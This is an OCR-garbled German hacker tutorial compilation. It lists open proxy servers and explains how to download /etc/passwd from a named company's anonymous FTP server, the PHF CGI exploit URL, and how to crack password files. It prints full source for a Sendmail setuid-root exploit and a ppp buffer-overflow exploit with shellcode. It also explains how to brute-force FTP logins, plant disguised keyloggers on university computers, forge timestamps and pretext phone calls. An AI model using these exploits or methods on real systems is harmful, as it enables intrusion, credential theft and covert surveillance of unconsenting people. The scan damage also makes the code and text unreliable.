Uberproft, und di e Verbindungen verwaltet. z.B. stealth anonymni zer, a 4
proxy, nultiproxy; |lest die entsprechende Readne oder Hel p Datei der
Programre durch, dort steht drin wie ihr den Browser konfigurieren misst.

Proxy Server (kann sein das manche Server nicht nehr funzen oder nicht
anonym si nd) :

194-183-137-019. t el e. net: 8080

adsl - 63-192- 133- 209. dsl . snf c21. pacbel | . net: 1080 socks- pr oxy
fernwo. | nk. tel stra. net: 1080 socks- proxy

nodentabl e161. 21-200-24.tim . nt. vi deotron. net: 1080 socks- proxy
ankara3.turnet.net.tr: 8080

cache-e0. hom net : 8080

cache. 1st. net: 8080

cache. a-net. net.th: 8080

cachel. ntl . dsuper. net: 8080

cachefl ow. fronti ernet. net: 8080

cachefl ow. t cg. sgi . net: 8080

cal i gul a.flash. net: 8080

el pxy01. ce. nedi aone. net : 8080

fastweb. cl over. net: 8080

ftp.tcrz.net: 8080

is.utel.net.ua: 3128

j ub-j ub. thefree. net: 8080

kraken.tel stra. net: 3128

| s4.internode. on. net. au: 8080
| s5. 1 nt ernode. on. net. au: 8080
| s6. 1 nt er node. on. net. au: 8080

| s8. i nternode. on. net. au: 8080
| s9.i nternode. on. net. au: 8080
magi c. brasi | net. net: 8080
nexus- 1. fl ash. net: 8080

nl -cache-1. nt. net: 8080
nrl.oni on-router.net: 9200
ns. ht c. net: 8080

i
i
i
| s7.internode. on. net. au: 8080
i
i

Testen der Anonymitat:

Wenn i hr testen wollt ob ihr anonym seid misst ihr auf eine der Seiten
gehen und eure IP nmit der auf der Seite angegebenen | P vergleichen

um eure | P herauszufinden macht dies: mend start---->ausfihren

dort gebt ihr winipcfg ein und dort kénnt ihr eure IP ablesen wenn sie mt
der I P wel che auf der Seite angegeben ist Ubereinstimt war der Proxy
Server nicht anonym und hat deine |P weitergegeben. Wahl e dann ei nen andren
Proxy Server aus. Bis deine IP nicht nmehr angezeigt wird sondern die von
dem Proxy Server. Hier ein paar Testseiten
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http://privacy.net/anonymizer/
http://cpcug.org/scripts/env.cgi
http://www.rental-web.com/~azuma/cgi-bin/env.cgi

Hacking

Was i st FTP Uber haupt ?

FTP bedeutet File Transfer Protocol. We der Nane schon sagt ist es ein
Prot okol I, wel ches explizit fir den Up-/Downl oad von Daten gedacht ist. Es
wurde viele Jahre vor HTTP entwi ckelt, und ist denentsprechend auch etwas
angestaubt. Da aber HITP verhéal tni smassi g | angsaner als FTP ist, da bei
HTTP i mrer noch Prif daten mitgeschi ckt werden, kann der Up-/Download nmit FTP
dur chaus schneller sein. Aber FTP - wel ches Uber den Port 23 |auft - kann
man auch fir Spielereien einsetzen, w e diese Dokunentation Uber das Hacken
ei nes FTP-Servers zeigen soll. Voraussetzungen fir das Verstandnis dieses
Textes Von Nutzen fir das Verstehen dieser Dokunentation kann durchaus die
Kenntni s von FTP- und/oder Uni x-Befehlen sein. Es gibt viele Bucher uber

di eses Thema: Schaut Euch nur nmal in der |okalen Bibliothek um Mein

i ebstes Buch fir Unix-Einsteiger ist das “Uni x Ei nsteigerseni nar”, wel ches
zum Bei spi el in der Genei ndebibliothek Wettingen (AG ausgeliehen werden
kann. Mr ist die |ISBN-Numrer |eider nicht bekannt, aber der Unschlag ist

bl au, und es stamm aus dem Anfang der 90er Jahre. Was brauche ich fir das
Nut zen von FTP? Nach der Installation eines Mbddens oder Netzwerkkarte unter
W ndows9x wird autonatisch die Software fir den Client-Seitigen Betrieb von
FTP mitinstalliert. Jene | asst sich ganz einfach nmt der Ei ngabe von “ftp”
imMeni Start/Ausfihren/ starten. Danach erscheint ein kleines, schwarzes
Fenster, welches stark der Ei ngabeaufforderung unter W ndows &ahnelt, nur
dass statt dem Standart-Pronpt von C\> sich der FTP-Pronpt nmit FTP>

mel det. We funktioniert FTP? Um einen kurzen Uberblick tuber alle hier im
FTP- Modus nut zbaren Befehl e zu gew nnen, kann man einfach mal ? eingeben
wor auf hin schén gegliedert alle FTP-Konmmandos ohne weitere | nformationen
aufgelistet werden. Falls schnell vom FTP- in den DCS- Modus gewechsel t
werden nuss, kann dies mit der Eingabe von "!" geschehen. Der FTP-Pronpt
andert sich in den DOS-Pronpt. Man kann ganz nornal unter DOS arbeiten. Um
wi eder in den FTP-Mdus zu gel angen, nuss nman "exit" eintippen, und danach
ENTER dr iicken. Nun sollten wir uns nmal | angsamirgendwo connecten. Danit
wir dies tun kdénnen, nuss ni ndestens ei ne Netzwerk- oder Internet-

Ver bi ndung bestehen. Falls man sich innerhalb eines LAN's befindet, welches
von einer Firewall oder Proxy geschitzt ist, kann es jedoch zu
konpl i kati onen komen. Dazu jedoch spater nehr. Der Ei nfachheits hal ber
habe ich als Denp-FTP-Server den Server des Schwei zer Konzerns nanmens ABB
genonmen, welcher weltweit fir das Entw ckeln und Herstell en von Turbi nen
zustandig i st. Umnun ei ne Verbi ndung zu ei nem FTP- Server herzustellen

nmuss entweder dessen URL oder die |P-Adresse bekannt sein. Die URL des ABB-
FTP-Servers lautet ftp.abb.ch . Er ist natirlich auch unter der |P-Adresse
errei chbar, welche 138.223.70.10 lautet. Nun rmuss nman i m FTP- Modus unserer
FTP- Sof t ware "open ftp.abb.ch" eingeben. Alternativ kann nman auch nmit der

| P-Numrer arbeiten. Dann wirde di e Ei ngabe "open 138.223.70.10" |auten
Danach erscheint ein Login-Bildschirm der sehr stark an ein Unix-ahnliches
Systemerrinnernt. In den neisten Fallen wird auch ein Uni x-ahnliches
System fir den Einsatz als FTP-Server eingesetzt. Auf der ersten Linie der
Logi n- Prozedur erscheint noch einmal die Adresse, wo wir uns eingel oggt
haben. Auf der nadchsten zeile folgt die Version des Betriebssystens des
FTP-Servers. Das Betriebssystem- in diesemFalle SunCS 5.6 - neldet sich
bereit, und fragt uns nach einem User-Nanen. Da uns kein User-Nane bekannt

i st, versuchen wir uns anonym anzunel den. Dabei erhalten wir nur Leserechte
auf bestinmmte regionen des Servers. Nach der Ei ngabe von "anonymous" fir
anonym folgt eine Zeile, wo wir darauf aufnerksam gemacht werden, dass wir
bei der Passwortei ngabe ohne weiteres unseren User-Namen verwenden kdénnen
Ei ne Zeile weiter werden wir auch schon nach unserem Paswort gefragt. Wr
geben nochei nnmal unseren User-Nanen ein: "anonynous" . Es kann auch ei nfach
eine wirrkirliche Zei chenfol ge ei ngegeben werden, jedoch fallt man nit der
schl i chten Passwort-Ei ngabe des User-Nanens weniger auf. Nun sollte eine
kurze Mel dung erschei nen, wel che uns darauf aufnmerksam nmacht, dass wir uns
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erfol grei ch eingel oggt haben. Und am unteren Rand des Fensters fol gt w eder
der nackte FTP-Pronpt. Nun nimt es uns wunder, wo wr Uberhaupt gel andet
sind. Mt der Ei ngabe von "pwd" erfragen wir unsere aktuelle Position im
System Wr werden darauf aufmerksam gemacht, dass wir uns im Root -

Ver zei chni s befinden. Wl che Verzei chni sse existieren nun aber noch? Mt
der Eingabe von "dir" fir Directorie zaubern wir die aktuelle Ubersicht
al l er Verzeichni sse und Dateien i mRoot-Verzei chnis an. Unsere Aufgabe i st
es nun das Password-File zu finden, wo alle User-Nanen nit dazugehtri gem
Passwort gespeichert sind. Mt "cd" (change directory) sind wir in der Lage
das Verzeichnis zu wechseln. Wr geben nun cd etc ein, wonit wir einen
Augenbl i ck spater imETC Verzeichnis | anden sollten. We jedesnal wenn wir
i n ei nem neuen Verzei chnis angel ang sind, erfragen wir den Inhalt des
nmonent anen Ver zei chni sses. Nun erkennen wir sofort das Vorhandensei n einer
Dat ei nanens passwd, zu wel cher wir nur Leserechte haben. Wr kopieren nun
di ese Datei auf die |okale Festplatte. Dies geschieht mttels des Befehls

"get" . Wr geben nun "get passwd" ein, und die Datei passwd wird auf den
W ndows- Deskt op kopiert. Umein Verzeichnis w eder zu verlassen, missen wr
wi eder den change directoy Befehl nutzen. Mt "cd .." verlassen wir das

aktuel l e Verzeichnis und wechseln in das Ubergeordnete. In unseremFalle
ware dies wi eder das Wirzel - Ver zei chnis. Nun kénnen wir di e Verbi ndung
schliessen. Dies lbernimm der Befehl "close" . Die Verbingung zum FTP-
Server der ABB ist nun beendet. Um unsere FTP-Software zu schliessen
kénnen wir ganz einfach "bye" eintippen, woraufhin sich die Software

ver abschi edet, und sich schliesst. Das Passwort-File Nun konmmen wir w eder
zurick auf unseren W ndows- Rechner. Wr suchen nun das vom FTP- Server
herunt ergel adene File und 6ffnen es nmt einemganz normal en ASCI | - Editor
W e zum Bei spi el das Notepad von Mcrosoft. Nun of fenbart sich uns das
Password-Fil e, aus welchemw r alle Benutzer-Nanen ersehen kdnnen:

root: x: 0:1: Super-User:/:/usr/bin/ksh

daenon: x: 1: 1::/:

bin:x:2:2::/usr/bin:

sys:x:3:3::/:

adm x: 4: 4: Adni n: / var/ adm

| p: x: 71: 8: Line Printer Adm n:/usr/spool /I p:

sntp: x: 0: 0: Mai | Daenon User:/:

uucp: X: 5: 5:uucp Admi n:/usr/lib/uucp

nuucp: x: 9: 9: uucp Admi n:/var/ spool /uucppublic:/usr/1ib/uucp/uucico
listen:x:37:4: Network Admnin:/usr/net/nls:

nobody: x: 60001: 60001: Nobody: /:

noaccess: x: 60002: 60002: No Access User:/:

nobody4: x: 65534: 65534: SunCS 4. x Nobody: /:

mai | er: x:100: 1: : / horre/ mai | er:/ nosuchshel

proxadm x: 101: 100: : / hore/ pr oxadm / nosuchshel

ftp:x:"30000:"30000:"Anonynous FTP:/data/ftp:/nosuchshell Das erste Wrt
stellt den user-Nanmen dar. Nach dem Doppel punkt fol gt das dazugehoéri ge
Passwort. Falls dies nun ein X oder Leerzeichen sein sollte, dann wurden
di e Passworter vom Admi ni strator shadowed gemacht. Di es bedeutet, dass sie
nur fidr den Admin einsehbar sind. Es gibt verschi edene Mjglichkeiten diese
shadowed Passcodes zu entschl issel n, aber dazu schreibe ich spater ma

einen Text. Falls doch Passwirter ersichtlich sind, hat nan das System
geknackt, und ist nun imBesitze aller Passwiorter. Das beste, was ei nem
passi eren kann, ist in den Besitz des Super-Visor-Passworts zu gel angen

Mt Hilfe dieses Passworts kann man sich als Root oder auch Super-User

anmel den, und ist ab dann imBesitze aller Zugriffsrechte. Das System
gehért dann sozusagen ei nem sel bst. Disclai ner Denkt aber an di e Hacker-

Phi | osophi e! Ausserdem macht | hr Euch beim Eindringen in Frende Systene
strafbar, und I hr kénnt strafrechtlich verfol gt werden! We knacke ich eine
Firewal | oder einen Proxy innerhalb eines LAN's? We knackt nman nun die
eigene Firewal |, wenn nman sich als Hacker innerhalb eines LAN's befindet?
Man nuss als allererstes die | P-Adresse der Firewall oder des Proxies
herausfinden. Dies macht man nittels eines |P-Scanners oder Port-Scanners.
Sobald man nun die | P-Numer der Firewall hat, kann man sich mittels FTP

wi eder versuchen ei nzul oggen, und das Spi el kann begi nnen..
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ftp:x:30000:30000:Anonymous

Hacki ng Webpages:

The Parall el M nds Cooperation Die Anleitung Der anerikani sche Hacker
Psychotic schrieb eine der wohl am besten hel fenden

Uni x- Bi bel n i m Cyber space, aber nachdem er diesen 36-seitigen Text
veroffentlicht hatte, erreichten ihn unzédhlige Miils. Er erkannte das Unix
nicht fur jede Person ist, so schrieb er diesen Text, welcher die Anleitung
zum Hacken von Webpages ist. 1.Zugriff zur Passwort-File durch FTP Der
anonyne Zugriff durch FTP ist einer der einfachsten Wege um den St at us

ei nes Superusers zu erhalten. Al's erstes nusst du etwas uUber den Aufbau der
Passwort-File w ssen.

Root : User: d7Bdg: 1n2HQ2: 1127: 20: Super user

Tom Jones: p5Y( hOti c: 1229: 20: Tom Jones, :/usr/ peopl e/ tonjones:/bin/csh
Bbob: Euyd5XAAt v2dA: 1129: 20: Bi I |y Bob: / usr/ peopl e/ bbob: / bin/csh Das ist ein
Bei spi el einer regul & verschl isselten Passwort-File. Der Superuser ist
der Teil der dir den Zugriff gibt. Das ist der Hauptteil der File.

Root : x: 0: 1: Super user: /:

ftpadm n: x: 203:102: ftp Administrator:/ul/ftp Das ist ebenfalls ein Beispiel
ei ner Passwort File, allerdings mt einemUnterschied

..... sie ist versteckt. Versteckte Passwort-Files zeigen das verschl Usselte
Passwort nicht an, sie |lassen sich auch nicht kopieren .Das bringt Problene
fir den Passwort- Cracker oder den Dictionary Cracker (spater erklart).
Jetzt ein weiteres Beispiel

ei ner versteckten Password-File. root:x:0:1:0000-Adni n(0000):/:/usr/bin/csh
damon: x: 1: 1: 0000- Admi n: /:

bi n: x: 2: 2: 0000- Adm n(0000) :/usr/bin

sys: x: 3: 3: 0000- Adni n(0000): /:

adm x: 4: 4: 0000- Adni n(0000) : / var/ adm

| p: x: 71: 8: 0000- | p(0000) :/usr/spool/lp

sntp:x:0:0:mai | daenon user:/:

uucp: X: 5: 5: 0000- uucp(0000) :/usr/lib/uucp

nuucp: x: 9: 9: 0000- uucp( 0000): / var/ spool /uucppublic:/usr/lib/uucp/ uucico
listen:x:37:4: Network Admin:/usr/net/nls:

nobody: x: 60001: 60001: uid no body:/:

noaccess: x: 60002: 6002: uid no access:/:

webmast r: x: 53: 53: WAW Admi n: / export/ hone/ webnmastr:/usr/bin/csh

pi n4geo: x: 55: 55: Pi nPaper

Admi n: / export/ hone/ webmast r/ new gregY/test/pindgeo:/bin/fal se

Password-Fil es haben ein "x" oder ein "*" an der Stelle des Passwortes.

Nun, wo du ein bisschen nehr Uber die Password-File weifRt, solltest du in
der Lage sein, eine normal verschl isselte Password-File und ei ne versteckte
Password-Fil e unterschei den zu kénnen. Wr gehen nun dazu lUber, wie nman die
Password-Fil e crackt. Eine Password-File zu cracken ist nicht so
konpliziert wie es sich anhtért. Die einzige Hirde liegt darin, das sich die
Files von System zu System zu unterscheiden. 1. Der erste Schritt, den du
ausf ihren nmufdt ist, dass du dir die Password-File kopi eren oder downl oaden
mudt. 2. Als zweites muldt du dir einen Password Cracker und ei nen

Di ctionary Maker besorgen. Cbwohl es ziemich einfach ist ,einen guten
Password Cracker zu finden ,enpfehle Ich dir einen der fol genden

Cracker Jack, John the Ripper, Brute Force Cracker oder Jack the Ripper

Nun zum Di ctionary Maker... Wenn du ein Crack-Prog startest, wirst du

zuer st nach der Password-File gefragt.

Dort kommt dann auch der Dictionary Maker zum Einsatz. Einen Dictionary
Maker kannst du von nahezu jeder Hackersite downl coaden. Ein Dictionary
Maker findet alle nbglichen Buchstaben-Konbi nati onen mt den Miglichkeiten
di e du ausgewahlt hast. (ASCII, caps, kleine buchstaben, G oRbuchstaben und
auch Nummern). 3. Du startest den Cracker und fol gst den Instruktionen,die
das Progranmm dir gibt.
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ftp:x:202:102:Anonymous
ftp:x:54:54:anonymous

2. Die PHF Technik Ich war nicht sicher, ob ich diese Section nmt

rei nnehnen sollte, weil fast jeder Uber diese Techni k bescheid wei 3 und die
nmei sten Server haben den Bug schon beseitigt. Aber da es i mer noch Fragen
zur PHF gibt, schreibe ich diesen Teil mal nit rein. Die PHF Technik ist
der einfachste Weg, eine Password File zu kriegen. Aber ich warne
euch....zu 95% w rd diese Techni k nicht funktionieren. Undie PHF

auszuf thren nmu3t du nix weiteres tun als einen Browser (I E 4 oder Netscape
4.05) offnen und den fol genden Link eingeben: Htp://website ist_hier/cgi-
bi n/ phf ?Qal i as=x%®a/ bi n/ cat %20/ et c/ passwd Ersetze das website_ist_hier
nmt der Domain. Wenn du al so versuchst, die Passwort-File

und das war’s. Du sitzt nur und kopierst die File (wenns funktioniert) 3.
Tel net und Exploits Exploits sind der beste Wg Wbsites zu hacken, aber
sie sind auch konplizierter als der Zugriff durch FTP und die PHF Techni k
.Bevor du ein Exploit verwenden kannst brauchst du erstnal ein Tel net Prog.
Es gi bt nehrere Verschi edene Anbi eter von Tel net Proggi es, mach einfach

ei ne Net-Suche, und du wirst gentugend Proggi es und Zubehor finden

Am besten richtest du dir einen Account bei deinemZiel (wenn ndglich) ein.
Nun zu den Exploits. Exploits entdecken Fehler und Bugs in Systemen und
geben dir gewdbhnlicherwei se vollen Zugriff. Es gibt viele verschiedene
Exploits imNetz und du kannst sie dir alle angucken. Ich werde hier mal
ei n paar Beispiele von Exploits auflisten, aber die Liste der Exploits

i st endl os. Dieser Exploit ist bekannt unter dem Nanmen Sendnmail v.8.8.4

Er erstellt ein Suid-Programm/tnp/x das den shell als Root herstellt.

So richtest du es ein: cat << ECF >/tnp/x.c

#define RUN "/bin/ksh"

#i ncl ude <stdi o. h>

main ()

{
execl (RUN, RUN, NULL) ;

}

_EGF_

#

cat << _EOF_ >/tnp/spawnfish.c
main ()

execl ("/usr/lib/sendrmail ","/tnp/sntpd",0) ;

}

_EG_

#

cat << EOF_ >/tnp/smtpd.c
main ()

setuid (0) ; setgid (0) ;

system ("chown root /tnp/x ;chnod 4755 /[tnp/x") ;
}

_EGF_

#

#

gcc -O -0 [tnp/ x [tnmp/Xx.c

gcc -3 -0 [t mp/ spawnfi sh /tnp/spawnfish.c
gcc -G8 -0 [trp/sntpd /tnp/sntpd.c

#

[t nmp/ spawnfi sh

kill -HUP “/usr/ucb/ps -ax|grep /tnp/sntpd|/grep -v grep|sed s/" [ ]*"//
| cut -d" "

-f1r

rm/tnp/spawnfish.c /tnp/spawnfish /tnp/snmpd.c /tnp/sntpd

/[tnpl x.c

sleep 5

if [ -u/tnp/x ] ; then

echo "leet..."
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[t npl/ x
fi nun zu einem anderen Exploit..... dem ppp vulnerbility.
So erstellst du ihn: #include <stdio.h>
#i ncl ude <stdlib. h>
#i ncl ude <uni std. h> #defi ne BUFFER_SI ZE 156 /* size of the buffer
to overflow */ #define OFFSET -290 /* nunmber of bytes to junp
after the start
of the buffer */ long get_esp (void) {
_asm_("nmovl %esp, %eax\n"); } main (int argc, char *argv[])

{

char *buf = NULL;

unsi gned |l ong *addr_ptr = NULL;

char *ptr = NULL;

char execshell[] =

"\ xeb\ x23\ x5e\ x8d\ x1e\ x89\ x5e\ x0b\ x31\ xd2\ x89\ x56\ x07\ x89\ x56\ xOf "
/* 16
bytes */

"\ x89\ x56\ x14\ x88\ x56\ x19\ x31\ xc 0\ xb0\ x3b\ x8d\ x4e\ x0Ob\ x89\ xca\ x52"
/* 16
bytes */

"\ x51\ x53\ x50\ xeb\ x18\ xe8\ xd8\ xf f\ xf f\ xff/bi n/ sh\ x01\ x01\ x01\ x01"
/* 20
bytes */

"\ x02\ x02\ x02\ x02\ x03\ x03\ x03\ x03\ x9a\ x04\ x04\ x04\ x04\ x07\ x04"
/* 15
bytes, 57 total */ int i,j; buf = mal | oc(4096); /*
fill start of bufer with nops */

i = BUFFER SI ZE-strl en(execshel I); menset (buf; 0x90, i);

ptr = buf + i; /* place exploit code into the buffer */
for(i = 0; i < strlen(execshell); i++)

*ptr++ = execshel I[i]; addr_prt = (long *)ptr;
for(i=0;i < (104/4); i++)
*addr_ptr++ = get_esp() + OFFSET; ptr = (char

*)addr _ptr;

*ptr = 0; setenv("HOVE", buf, 1);
execl ("/usr/sbin/ppp", "ppp", NULL);
} Jetzt hast du den Zugriff..... Was | et zt 27?7
Nun, die Wahl liegt bei dir, aber ich rate dir, zuerst das passwort zu

andern bevor du

i rgendei ne andere Aktion ausfihrst. Um das Password zu andern nuf3t du dich
via Tel net

ei nl oggen und di ch dann unter dei nem neunen Account einloggen. Dann ti ppst
du " PASSWD"

und es wird dich nach demalten Passwort und danach nach dei nem neuen
Fragen. Du gi btst

dann dein neues ein, und das sollte es dann gewesen sein....du kannst jetzt
upl oaden,
| 6schen oder einfrach nur rumspielen..... HAVE PHUN! ! !I']
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Pri vate Websei te hacken:

Ladet Euch von einer guten Hacker Seite das Progranm "Unsecure" runter
Startet das Programm! Jetzt wird erklart, wo |Ihr was ei ngeben misst
Conputer name or IP: Her gebt Ihr z.B ftp.fortunecity.de ein (Wenn die
Webseite bei Fortunecity ist) !

Port: Hier gebt Ihr 21 ein (FTP Port) !

Passwort: Leer |assen

Username: Hier gebt |hr den Benutzernanen ein (Teil der URL z.B

e

Dictionary File: H er gebt Ihr eine gute Wrdlist ein ! Dictionary Attack
Wenn man bei dem Benutzernanen ein richtiges Passwort hat (z.B "zeus", dann
ankl i cken, wenn es ein zusamengesetztes ist, also z.B "hdghd" dann nicht !
Brute Force Attack: Genau das Gegenteil von Dictinary Attack, hier werden
al I e Mbglicheiten durchgegegangen (Auswahl siehe unten) !

Reconnect on di sconnect: Auf jeden Fall anmachen !

Aut oSave every 100 attenpts: Das Projekt wird alle 100 gecheckten wirtern
gesaved (autosave) ! Wenn es sich umeine Brute Force Attacke handelt oder
umeine Dictionary Attacke, bei der keine Treffer erzielt

wurden, konnt |hr hier auswahl en, aus was fur Charakteren das Passwort

best ehen kann ! a-z Kl ei nbuchst aben

A-Z GroRR3buchst aben

0-9 Zahl en Das darunter sind Nebenzeichen ! Nunber of Characters: Wnn das
Passwort mininmal 3 Stellen hat, dann gebt hier eine 3 ein !

Custom character set: Hier koéonnt I hr euch die Charaktere nochm manuel
raussuchen ! Wenn alles richtig eingestellt ist klickt auf Connect !

Holt Euch was zu trinken (und zu Essen), denn es wird, wenn das Passwort
leicht ist 1-2 Stunden dauern

Wenn es aber schwer ist kann es auch 20-30 Stunden dauern ! Am besten i st
es wenn man di e Aut osave Funktion

aktiviert, und jedesmal wenn man online geht, nmacht man ein bi Bchen weiter.

Vom Menschen zum Uni x- Hacker :

We bekome ich (illegalen) Zugang zum | nternet?
Die Literatur

Der unangenehne Teil oder

Der Schl issel zum Erfolg

We konme ich weiter?

We rette ich neinen Arsch?

Ei n paar Gedanken zum Sei n ei nes Hackers
Yeah, tinme to becone 31337.

Ein Blick ueber die Schulter

Per soenl i che Sicherheit

W chtige Links

- Vorwort -

Auch wenn es fuer einen Anfaenger hart ist aber ich werde gew sse Dinge we
NI'S, PasswordCracker, PacketSniffer, et cetera nicht erklaeren; ich setze
sie als bekannt voraus. Wenn du nmit diesen Dingen arbeitest wirst du sie
ver st ehen, und in den Buechern/Docs werden sie haeufig auch erklaert. Ich
werde einige Programre, die ich in di esem Docu. erwaehne, in dieses Paket
packen.

Zeilen, die nit dem Groesser-als Zeichen '>' beginnen sind Ei ngaben (von
dir).

Zeilen, die mt demKleiner-als Zeichen '<' beginnen, stellen Ausgaben
(z.B. von ei nem Programm) dar.

Bef ehl e werden fett gedruckt und Captures nit Rot indiziert.
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- Vor ausset zungen -

Ja gut, die Voraussetzungen um Hacker zu werden.... Al so, das w chtigste
ist ein eiserner Wlle; du nusst Hacker werden wollen, mt jeder Zelle

dei nes Koerpers ;) - aber nicht verkranpfen, denn dann wird der Fluss der
Phantasi e bl ockiert ;). Ein I Q >= 100 waer' auch ganz sinnvoll... hmm
aja, 'n Conputer und 'n Mbdem .. sind deine Hauptwerkzeuge. Du solltest in
C programm eren koennen, da auf (fast) jedem Unix-Systemein C Conpiler
installiert ist und der groesste Teil der Sourcecodes in C geschrieben ist.
Ich werde unter Punkt 3 ein Buch vorstellen, das mneiner Meinung nach eine
sehr gute und unfassende Grundl age fuer's Programmeren in C bietet, falls
du schon ei ne Hochsprache beherrschst und dir einiges zutraust, dann reicht
es, das Buch ueber Unix Systenprog. zu lesen (s. Punkt 3).

Desweiteren ist es sinnvoll Linux/FreeBSD (auf keinem Fall DLD Linux, is'
echter Schrott ;) ) auf seinem Rechner zu installieren. Linux/FreeBSD i st
ein Unix fuer PCs. Es gibt noch weitere Uni xes fuer den PC wi e BSDI
OpenBSD, Sol ari x x86, SCO etc. aber das braucht dich ersteinmal nicht zu

i nteressieren ;-)

- We bekonme ich (illegalen) Zugang zum Internet? -

Also mir kommen jetzt nmehrere Methoden in den Sinn, ich werde nmal nit der
Met hode begi nnen, die ich auch verwendet habe - sozusagen die Methode, die
i hren Praxistest schon bestanden hat. Such dir eine nette Uni (Internet
Provider, Firma nmit Internet-Access) in deiner Naehe aus und mache dort ein
Prakti kum einen Ferienjob oder einen Nebenjob.

Waehr end dei ner Taetigkeit imer schoen di e Augen nach Rechnern aufhalten
di e ans Uni -Netz angeschl ossen sind, die von den Studenten genutzt werden
und al I gemei n zugaenglich sind. Haeufig steht irgendwo ein alter DOS- PC
rum oder es existieren PC Pools. Such dir einen Rechner aus und sieh dir
sei nen Aufbau an (autoexec.bat & config.sys...) und beobachte wi e er
benutzt wird (laeuft er staendig, wird er nachts ausgeschaltet). Lass dich
mal ganz plunp von 'nem Studenten in die Benutzung des Rechners ei nfuehren
Dann benut ze di esen Rechner fuer anonynous FTP, HTTP und den ganzen Kram
der kein Passwort erfordert, und wenn sich die Cel egenheit nal bietet, dann

kopi ere dir die "autoexec.bat", "config.sys" und den Stammverzei chni sbaum
(tree) auf 'ne Diskette.
So jetzt zum spannenden Teil. Es geht darum ein TSR-Progranmm zu

installieren, welches die Tastatureingaben in eine Datei protokolliert . Um
di eses TSR-Prog. so gut wie noeglich zu verstecken tarnt man es als ein
anderes Prog. und fuegt einen entsprechenden Eintrag in di e autoexec. bat
ein. Man kann z.B. den Muse-Treiber nmit einer Batch-Datei ersetzen, die
erst unser TSR und dann den Mouse-Trei ber aufruft o. ae.. Man kann
natuerlich auch das TSR vor nem verstecken (ich gl aube man veraendert

i rgendwi e ' ne Menorygrenze - kei ne Ahnung).

Evtl. muss man das TSR mit ei nem HEX- Edi t or sei nen Anforderungen anpassen.
Es sollte auch darauf geachtet werden, dass die Protokolldatei den ganzen
Pl attenpl at z auf zehren koennte, also taeglich die Datei auf Diskette
bringen und von der Platte entfernen. Desweiteren nuessen die Tinestanps
angepasst werden - ja, Paranoia ist die Lebensversicherung ei nes Hackers.
So, um di e ganze Angel egenheit zu beschl eunigen tippe jeweils eine Batch-
Datei fuer die Installation des TSRs, fuer das nove' n der Protokoll datei
und zum Deinstallieren des TSRs und zur W ederherstellung des

O gi nal zust andes (Ti mestanps nicht vergessen). Teste deine Startegi e und
dei ne Batch-Datei en auf dei nem Rechner, in der Praxis darf es keine Fehler
mehr geben, alles nuss schnell und reibungslos verlaufen. Interpretation
der Protokol | dat ei

Wenn du z.B. fol gendes siehst

ftp bl ah.am arsch. de

franz

schwanz
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dann existiert auf dem Rechner "blah.am arsch.de" ein Account mt dem
Login "franz" und den Passwort "schwanz" - vorausgesetzt, dass di e Eingaben
richtig waren :).
Wchtig sind fuer dich erstmal die Rechner im Uni-Netz. Desweiteren kannst
du natuerlich auch einfach in den Conputer-Systenen Troj an- Hor ses
ei nbri ngen oder ganz
si mpel den Leuten ueber die Schulter sehen, wenn sie sich in die Rechner
ei nl oggen. Die "Experten" unter euch koennen einen Vanpire-Tap oder einen
Laptop mit Sniffer in deren Netz einbringen und so
ei nfach di e Account-Informati onen aufzei chnen
Der Vorteil des Vanpire-Taps ist, dass es nicht durch Messgeraete entdeckt
wer den kann, die die Entfernung bis
zum naechst en Ende/ Bruch i m Net zkabel nmessen. Unter Wndows (3.11) kannst
du den Macrorecorder zur Aufzeichnug der Tastaturei ngaben verwenden... is'
aber nicht so toll... nmach deine eigenen Erfahrungen, es erfordert auf
jeden Fall nehr Aufnerksankeit von dir. Eine bessere Loesung ist da schon
ei ne veraenderte WNSOCK. DLL zu installieren, die alle Daten, die uebers
Net z gehen auf zeichnet. Natuerlich kannst du auch ei nen auf DOS basi er enden
Sniffer installieren. Wenn du ein paar Accounts gesanmmt hast, nusst du die
Tel ef onnunmer des Modens rausfinden, die dich nit dem Netz der Uni
ver bi ndet .
Di e Numrer bekommrst du ganz einfach: Ruf' bei der Uni an, gib dich als
Student aus und frag' nach der Nummer - du nusst sicher und ruhig sprechen
Haeufi g steht die Nunmer auch in 'nemInfoblatt vom Rechenzentrum (RZ) oder
auf deren Web-Site.
Di e Bequeniichkeit beim Verwalten und Verwenden von Account | nformationen
kommt dir bei m Ei nl oggen zugute, undzwar ist es (neistens) voellig egal auf
wel chem Rechner im Uni-Netz du | andest, denn viele User verwenden das sel be
Passwort auf nmehreren Rechnern (auch in anderen Donains) oder es wird NI'S
(oder NI S+, rdist, DCE, etc) benutzt
So, wenn du in dem System bi st, dann mache dich damt vertraut (in Uni-
Systenmen faellt man nicht so schnell auf).
Von der Uni aus, kannst du dann am Besten noch Donmai ns hacken, die in
deinem City-Tarif Bereich liegen um dei ne Tel efonkosten zu verringern -
auch wenn di e gehackte Uni imCty-Tarif Bereich ist. Je nmehr Ei nwahl punkte
du zum I nternet hast um so besser
Du kannst dei ne Tel ef ongebueren auch sparen, indemdu 'ne PBX hackst (im
0130/ 0800- Bereich oder von | okal en Firmen) oder durch BlueBoxing - ist mr
persoenlich zu gefaehrlich und zu auffaellig, da die Tel ekom gerne
Bl ueBoxer kennen lernen will und PBXs neistens gute Intrusion Detection
Systens besitzen. ;)
Bei Firmen ist es neistens etwas gefaehrlicher. Die einfachste Methode ist
natuerlich, wenn dir ein bekannter Hacker einen Account gibt. Falls du
schon ei nen Uni x-/ NT- Account hast, dann lad'" dir einfach die Passwortdat ei
auf dei nen Rechner und cracke die Passwoerter.
Qder ein tenporaerer Freund mt Internet-Anschluss hilft dir weiter. ;) Und
nun noch ein ol d-school Weg. Er erfordert weniger den techni schen sondern
mehr den physi schen und nent al en Auf wand.
Such' dir ein/e Institut/Firma mt Internetanschluss in deiner Stadt aus.
Jetzt nusst du erstnal jedenenge | nfos ueber dein Ziel sameln, egal we
unwi chtig sie erscheinen. Du brauchst z.B. den Nanen des Adm ns und der
User, Bezi ehungen zu anderen Instituten/Firmen. Um di ese Dinge in Erfahrung
zu bringen kannst du den Muell der Firnma durchsuchen (sog. "Dunpster
Di ving") oder dich mal 'n bisschen unhoeren. Jetzt nur noch di e Modemmurmmer
her ausf i nden:
Ent weder einfach anrufen und als User (wenn du den Nanen ei nes Kunden hast,
dann benutze ihn auch), der die Nummer vertroedelt hat, ausgeben oder den
Tel ef onnunmrer nber ei ch dei nes Zi el s durchscannen
Das Scannen geht wie folgt:
